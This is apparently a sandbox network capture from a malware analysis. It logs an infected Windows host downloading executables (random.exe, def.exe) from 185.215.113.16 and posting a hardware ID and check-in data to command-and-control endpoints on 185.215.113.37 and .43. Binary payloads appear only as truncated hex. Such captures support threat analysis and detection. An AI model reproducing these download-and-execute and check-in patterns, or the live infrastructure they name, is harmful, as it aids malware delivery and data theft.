Oct 23, 2024 15:48:18.576555967 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B'f,j\|BLxz\|zB\|Pg^E{=LJFg,&hZS]ybtVi:\jVKlYfBJooohxCyLJkM?k
Oct 23, 2024 15:48:18.576591015 CEST	1236	IN	Data Raw: d2 a2 48 ac 4a 5d 58 aa ea ba cb d3 38 f6 ad a3 46 23 6f 60 0b 26 9a 3a 2a 2a bd 37 12 be 8f d1 58 bb 6c 0a 71 19 bc 8b 06 8b 5c 5d 69 bd ad c7 12 39 59 c0 1a 88 d4 ef 79 5a 86 67 b6 22 fb a0 7a 73 ac 6f 67 66 8b 26 96 68 4c 49 a8 4b 9c 8f 62 a2 Data Ascii: HJ]X8F#o`&:*7Xlq\]i9YyZg"zsogf&hLIKbMX5NwWg)KOJeY@Ci}VHjHLlt;UIgK"w+"LK(qJ+bMz\|H{]Y=G4lHfh,x:\Yw
Oct 23, 2024 15:48:18.576632023 CEST	1236	IN	Data Raw: e8 7b 2d cc ff 7a 87 6f cc 2e 31 6e 60 c2 c3 f8 50 8b 66 6b d3 eb c0 b8 b9 17 74 4e 63 23 1f 66 b7 0b a5 6a ab 85 73 90 e8 44 b4 8b f7 b8 18 7a 13 e5 59 90 54 8e f4 8c e9 3d 9c c1 fa a6 51 a5 06 c2 8b f9 df 42 56 e0 54 49 c3 d5 a6 ba a6 6a 26 5a Data Ascii: {-zo.1n`PfktNc#fjsDzYT=QBVTIj&ZWtZbX'.$L`):kIn~o&]De`Y\bhN*h?$i X#{WaAwgWbAYh6tdhld0=>m?m,Fg2ZZ8
Oct 23, 2024 15:48:18.576661110 CEST	136	IN	Data Raw: a8 62 36 32 51 1a 38 c8 cf a4 2c 7d 89 40 88 16 6a 9e fe 78 aa 19 f5 72 30 27 24 7e 82 70 34 46 30 62 cc 1c 85 9d d3 3c 16 a6 f7 64 0b 63 c4 35 7f ec 2b 60 18 8b 46 77 ec a4 b0 7b 47 40 da f4 66 72 24 05 2b e4 11 8c 5d 42 fd 7c 8e 76 4a 95 71 96 Data Ascii: b62Q8,}@jxr0'$~p4F0b<dc5+`Fw{G@fr$+]B\|vJqX$@<8kJ[/H7\_k:WoF
Oct 23, 2024 15:48:18.576751947 CEST	1236	IN	Data Raw: 94 ab e7 e2 0a ad f0 6f 84 42 0b d3 11 94 ad d4 82 66 4d f8 6b c2 23 ff e9 34 30 76 c2 d3 0b a0 e0 ca 59 49 53 9c 99 6c 49 f1 f5 da 92 18 14 2b 59 23 91 03 e0 93 cc 98 97 73 c5 96 5e e8 9b f2 b7 ba 0d 03 14 34 64 a8 94 86 a6 04 b3 24 a5 16 85 06 Data Ascii: oBfMk#40vYISlI+Y#s^4d$qfv,XkXF%7M=8,g!n32H^oGQIG\JIe@iqbrroPc;O-XDHU8d[FYG{-JV/1u)nrfv`i
Oct 23, 2024 15:48:18.582078934 CEST	1236	IN	Data Raw: da 08 c8 a9 3d 61 d5 41 bc 0f fc 90 6e a9 ee e1 ab a6 7e b7 30 e9 40 15 14 c2 93 5a 45 c0 00 81 a2 4c bf 17 b3 da d9 0f b0 53 e2 6a 27 9a e6 ed f8 a8 7b bf b0 a8 9d a6 66 5a c2 d8 5a 3a 6c d3 c6 35 76 be c8 9f 0c b4 d5 c2 88 0b ee 0f 41 0c ee ff Data Ascii: =aAn~0@ZELSj'{fZZ:l5vAX~m@o?~k\|zH)\WLP[e^avaQ`z:)viat:djo"u!Vzr(+5xghdZ1\|{p`P~a+Mke>e )
Oct 23, 2024 15:48:21.431062937 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 23, 2024 15:48:21.706068993 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:48:21 GMT Content-Type: application/octet-stream Content-Length: 1825792 Last-Modified: Wed, 23 Oct 2024 13:34:44 GMT Connection: keep-alive ETag: "6718fb74-1bdc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 e0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 69 00 00 04 00 00 f0 c9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$h@i@P%d% %(@.rsrc %8@.idata %8@ p)%:@njaoxwadPOx<@wxwvdaduh@.taggant0h"@
Oct 23, 2024 15:48:22.999080896 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 23, 2024 15:48:23.273566961 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:48:23 GMT Content-Type: application/octet-stream Content-Length: 2850816 Last-Modified: Wed, 23 Oct 2024 13:13:56 GMT Connection: keep-alive ETag: "6718f694-2b8000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 c7 c9 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,+`Ui` @ @.rsrc`2@.idata 8@ohppgexj + +:@lrldjnhc +Z+@.taggant@+"^+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49740	185.215.113.37	80	5628	C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:48:26.250515938 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 15:48:27.161693096 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 15:48:27.168751001 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 43 46 42 41 46 42 46 48 4a 45 42 47 43 41 45 47 48 2d 2d 0d 0a Data Ascii: ------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------JDGCFBAFBFHJEBGCAEGHContent-Disposition: form-data; name="build"doma------JDGCFBAFBFHJEBGCAEGH--
Oct 23, 2024 15:48:27.452563047 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 13:48:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49945	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:04.438383102 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 23, 2024 15:49:05.353558064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49961	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:06.868951082 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 23, 2024 15:49:07.806016922 CEST	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 30 39 37 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 39 37 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 30 39 37 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 30 39 37 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1000976001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1000977001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1000978001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1000979001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49967	185.215.113.16	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:07.814172029 CEST	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 23, 2024 15:49:08.705069065 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:08 GMT Content-Type: application/octet-stream Content-Length: 2994688 Last-Modified: Wed, 23 Oct 2024 13:34:38 GMT Connection: keep-alive ETag: "6718fb6e-2db200" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 4a f1 ff 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 a0 04 00 00 dc 00 00 00 00 00 00 00 30 31 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 31 00 00 04 00 00 96 77 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 f0 05 00 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELJf01@`1w.@Wk ^@.rsrc n@.idata n@hinhbduz ++p@spippvyb 1-@.taggant001"-@
Oct 23, 2024 15:49:08.705157995 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:49:08.705169916 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:49:08.705182076 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:49:08.705193996 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:49:08.705205917 CEST	1236	IN	Data Raw: 7c 04 33 21 c6 e2 1d 8d b9 cb ba ab b8 48 d0 a7 7f 11 b3 fa 31 15 13 3d 15 e2 b9 62 f6 60 d4 d3 66 5f ab fc 87 a6 67 bf 75 cc d9 d9 b1 e8 50 0a c8 d1 b3 c2 92 c3 06 40 04 90 2d 03 36 7a 93 21 7d 9e 25 42 6b ac 55 85 db ab a8 9b 26 c4 9c 03 4f 8e Data Ascii: \|3!H1=b`f_guP@-6z!}%BkU&O._mW#2;:/K-<'"31}`y4[`3=\|:U0&lT#<ewsHH<)!79!&e6j0Dd0Z!gB1>dHG:
Oct 23, 2024 15:49:08.705218077 CEST	1236	IN	Data Raw: 0c e8 cf 92 84 1c 63 9f ef d8 cd 70 60 ec a8 b2 1d 5a 21 29 ef e7 5d c3 11 2e cf e0 39 be 9c 4c 1f 63 09 a1 90 ec d6 d6 c4 3f d0 0f 49 8b a5 4a a1 94 43 16 08 0a 0f eb 31 04 30 00 74 29 cf 88 98 dc 89 fe 1d 03 ef 33 13 c3 ed 4d 34 64 92 42 72 71 Data Ascii: cp`Z!)].9Lc?IJC10t)3M4dBrq#dcI3w{j%c[g%CM@9*-8b%b6T7<L8UE9#-b%jg'Pp^OKw\%3+lwnS$]w%idhd\|}w
Oct 23, 2024 15:49:08.705229998 CEST	648	IN	Data Raw: 67 e6 27 9e fa 33 c8 6e c3 3c 9f 96 5a e6 59 ee 7a 5c 6c 45 50 3a ca 50 fe 78 8c e0 15 ce 0a 6e 34 7b 07 03 20 ea 65 6c bf bc b4 60 42 c4 22 75 20 cb ae 8e ed 8f d4 1d cb c0 6a 89 fe 80 5b 55 b4 ce e9 8f 15 d4 1a 5d a0 07 f5 05 31 25 32 03 a3 b3 Data Ascii: g'3n<ZYz\lEP:Pxn4{ el`B"u j[U]1%2}:Tv;3(~vKFNZq9Hig2l1".W64cD.41caz'IiEta1l0\|}zv-X'KY{ &4_\|2ec!SFd#.4
Oct 23, 2024 15:49:08.705476046 CEST	1236	IN	Data Raw: 33 d4 8d 80 3b 57 8c 87 23 d2 c6 06 5c e7 77 6d 03 8d 85 54 5d 4b 0e 02 ff 8c c2 01 cf 32 e0 00 a1 60 a2 be d1 3b 82 a9 7b 17 08 42 0e c8 bd 29 0e ee 54 0e 11 bc 0d 0f 7f 1d ca 2b 6c 73 05 4e 50 71 ac aa 23 bf 00 7b 5d c2 29 b1 99 64 97 df 05 cc Data Ascii: 3;W#\wmT]K2`;{B)T+lsNPq#{])d{TGC;%2W[e1"8xn'yh@=QEp`Z@ 7LKD_1}T"O5;psx!UBKsZA#68j-7gK$CS467=}Go
Oct 23, 2024 15:49:08.705532074 CEST	1236	IN	Data Raw: 1d 4a b1 e0 63 fb e6 c1 ee 14 65 ac 7a 29 47 83 63 e0 c2 f6 2c 09 ca 25 ba e2 b2 35 84 6e e5 9b 90 8b ad 32 c5 f1 0b d5 fd f9 59 6e 80 64 6c 87 77 a4 2e 3f e3 46 7f 84 7c 96 77 a1 29 44 03 3f 63 98 d3 ef 95 d0 d4 5e ed 4c af 0a 53 3a e1 c3 23 64 Data Ascii: Jcez)Gc,%5n2Yndlw.?F\|w)D?c^LS:#d]h(t:cc. ?3C,wlDnd0ov2%"cj<y=8(4 hdC;5a.J+{5e+2TZ5$EH&GA5c
Oct 23, 2024 15:49:08.710668087 CEST	1236	IN	Data Raw: 3b f8 7e 5f be ce 5a c5 06 75 d2 30 5c 94 f0 9a dc 73 01 34 fd f9 1b dc 97 3b 20 9c 19 40 10 bc c2 cc f0 12 47 a9 bf 3c 73 e6 0e 8d 6d 61 55 6c a2 7c 14 78 e2 52 6f fe b8 24 97 06 14 bc 19 12 18 81 10 5f 29 d6 7a a0 71 ee ab c3 2d 0e 69 45 73 02 Data Ascii: ;~_Zu0\s4; @G<smaUl\|xRo$_)zq-iEs4r32L&@F,pF)4ql5\|42-QP}_;\|;st@IQ)'{\*xDBc<]?y$$'ga?;:;-Uh13$}=3.h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49989	185.215.113.43	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:16.940507889 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 39 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000976001&unit=246122658369
Oct 23, 2024 15:49:17.867388010 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49990	185.215.113.16	80	7720	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 15:49:17.878654957 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 23, 2024 15:49:18.868527889 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 23 Oct 2024 13:49:18 GMT Content-Type: application/octet-stream Content-Length: 1825792 Last-Modified: Wed, 23 Oct 2024 13:34:44 GMT Connection: keep-alive ETag: "6718fb74-1bdc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 e0 68 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 69 00 00 04 00 00 f0 c9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$h@i@P%d% %(@.rsrc %8@.idata %8@ p)%:@njaoxwadPOx<@wxwvdaduh@.taggant0h"@
Oct 23, 2024 15:49:18.868570089 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:49:18.868623018 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:49:18.868658066 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 23, 2024 15:49:18.868693113 CEST	1236	IN	Data Raw: 88 3a 18 7e f0 95 ee 7a 6b 7a 5d 26 16 b2 b5 e6 93 fa 5a e9 17 8c 92 db 07 92 5f 1c c3 dc c5 df e5 3a 78 11 ed d9 28 3d 44 f8 5f dc c3 a3 7e b0 5b 64 1b b0 2f 46 7b 34 ce b3 3c e0 15 7f 0d 3a db 95 1f 27 21 3e 7a 8d 60 f6 5f 7d c4 52 c8 1e 62 46 Data Ascii: :~zkz]&Z_:x(=D_~[d/F{4<:'!>z`_}RbFb<+C6N2@~>+!e@:nm\|N3xI<[KCU_C4vRdJopkU!;qNIxH=TNb c#x-ZQv}xl\|s_z?\|Xj}G
Oct 23, 2024 15:49:18.868746042 CEST	1236	IN	Data Raw: b7 a6 c3 85 08 b0 6b 19 f4 60 0c 27 cd ae 05 e0 3b 7e 6d 11 76 c5 4a 13 f9 d1 66 7a ed 94 1b e8 9d 86 29 f2 25 89 16 4b 89 3a 3a 4a 64 dd 69 93 54 fc 5b e6 09 fb e8 47 13 5d a8 47 fe 22 35 24 9c 2c e3 30 5c 19 d4 65 a9 ab 6e a3 74 c7 9b 88 56 9e Data Ascii: k`';~mvJfz)%K::JdiT[G]G"5$,0\entV{ifWt5\]X6GhcNK{BUbSnsf@cGkT,Bd9P,X!dQ'>83;j.C_Z{R{'r1gB%@
